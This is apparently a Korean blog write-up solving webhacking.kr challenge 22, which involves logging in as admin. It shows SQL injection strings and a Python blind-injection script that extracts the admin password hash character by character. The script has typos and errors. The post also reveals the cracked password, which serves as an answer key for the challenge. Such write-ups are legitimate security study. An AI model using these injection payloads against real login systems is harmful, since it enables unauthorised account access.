[그림 1]

500점짜리 22번 문제를 준비 해 보았다.

mission : login as admin

Column Name : id, pw

admin 계정으로 로그인 하면 풀리는 문제인 것 같다.

hint로는 Column Name을 준 것 같다.

 

우선적으로 admin으로 로그인 시도를 해보았다.

[그림 2]

로그인에 실패했다.

다음으로 회원 가입을 통해 내가 만들어낸 계정이 DB에 등록되도록 하였다.

admin 계정이 이미 존재해서 ad m i n 으로 공백을 통해 회원가입 후 로그인을 시도 해 보았다.

id : ad m i n

pw : admin

 

[그림 3]

결과 창에 그대로 나오는 것으로 보아 효과가 없다는 것을 알 수 있다.

해시 값을 보고 자동 복호화 툴(직접 제작 중 미완성 오류가 너무 많다;;)을 이용해 암호 종류와 해시값을 알아냈다.

 

[그림 4]

32비트 해시 값으로 md5가 사용되었고 해시값은 'admin'+'apple' adminapple이라고 나온 것을 확인 할수 있었다.

apple을 솔트 값으로 확인 한 것이다.

 

 

지금까지 모은 정보를 정리해 보면

Columname 2개, hash값 = pw + salt, 내가 생성한 계정

 

sql injection 으로 admin의 해시 값을 구해 내면 될 것 같다. 

 

id = admin' # 구문을 통해 어떤 response가 나오는지 확인하였다.

[그림 5]

id는 admin이 맞지만 pw가 틀렸다.

 

id = admin' and ' 1' = '0' # 구문을 사용하여 한번 더 확인 해보았다.

[그림 6]

id는 admin이라는 것을 확실히 알 수 있다.

 

이제 문제는 pw이다.

blindsql을 사용하여 pw 길이를 먼저 구하고 그다음으로 철자를 하나씩 구해야 한다.

import requests

url='https://webhacking.kr/challenge/bonus-2/index.php'
headers = {'Cookie' : 'PHPSESSID= '}

pw = ""

for i in range(0, 100)
    data['uuid'] = {"admin' and length(pw)={}#".format(i)
    data['pw'] = None
    response=requests.post(url, data=data)
    if response.text.find("Wrong password") != -1:
        pw_length = i
        break
print("pw length = ", pw_length)

for i in range(1, pw_length+1):
    for j in rnage (33, 133):
        data['uuid'] = "admin' and ascii(substr(pw, {}, 1))={}#".format(i, j)
        data['pw'] = None
        response  = requests.post(url, data=data)
        if response.text.find("Wrong password") != -1:
            password+=chr(j)
            print(i, pw)
            break
print("Result = ", pw)

hash 값이 6c9ca386a903921d7fa230ffa0ffc153인것을 알수 있었다.

hash 값은 pw + apple이었으니 위 해시값을 복호화(?) 해주면 된다.(여기서도 자체 툴이 애를 먹었다.)

 

wowapple 이라는 값인 것을 알았다.

id = admin

pw = wow

 

로그인 해보면

[그림 7]

문제가 풀리는 것을 확인 할 수 있다.

'Challenge > webhacking.kr' 카테고리의 다른 글

Webhacking 61번 문제 풀이  (0) 2020.02.22
Webhacking 60번 문제 풀이  (0) 2020.02.22
Webhacking 59번 문제 풀이  (0) 2020.02.22
Webhacking 58번 문제 풀이  (0) 2020.02.20
Webhacking 56번 문제 풀이  (0) 2020.02.20

+ Recent posts